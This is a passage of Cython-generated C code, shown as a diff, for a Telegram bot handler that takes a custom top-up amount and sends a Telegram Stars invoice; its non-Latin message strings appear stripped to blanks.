*)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 170, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_11generator3, __pyx_codeobj__23, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L15_resume_from_await; + case 5: goto __pyx_L23_resume_from_await; + case 6: goto __pyx_L28_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 170, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":172 + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/stars_pay.py":173 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount // RUB_TO_XTR <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":174 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_XTR}. , :" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/stars_pay.py":175 + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * f" {RUB_TO_XTR}. , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":176 + * if amount // RUB_TO_XTR <= 0: + * await message.answer( + * f" {RUB_TO_XTR}. , :" # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__24); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__24); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__24); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__25); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 36; + __Pyx_GIVEREF(__pyx_kp_u__25); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__25); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_9}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 175, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 175, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":178 + * f" {RUB_TO_XTR}. , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":174 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_XTR}. , :" + */ + } + + /* "handlers/payments/stars_pay.py":180 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 180, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 180, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":181 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":182 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_stars # <<<<<<<<<<<<<< + * ) + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 181, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 181, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":185 + * ) + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", pay=True), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":186 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", pay=True), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":187 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 187, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 187, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_8}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 186, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":189 + * InlineKeyboardButton(text="", pay=True), + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":190 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * await message.answer_invoice( + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 190, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 190, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 189, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":192 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 192, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/stars_pay.py":193 + * ) + * await message.answer_invoice( + * title=f" {amount} .", # <<<<<<<<<<<<<< + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__14); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__15); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_title, __pyx_t_3) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":194 + * await message.answer_invoice( + * title=f" {amount} .", + * description=f" {amount} .", # <<<<<<<<<<<<<< + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + */ + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__14); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L9_error) + 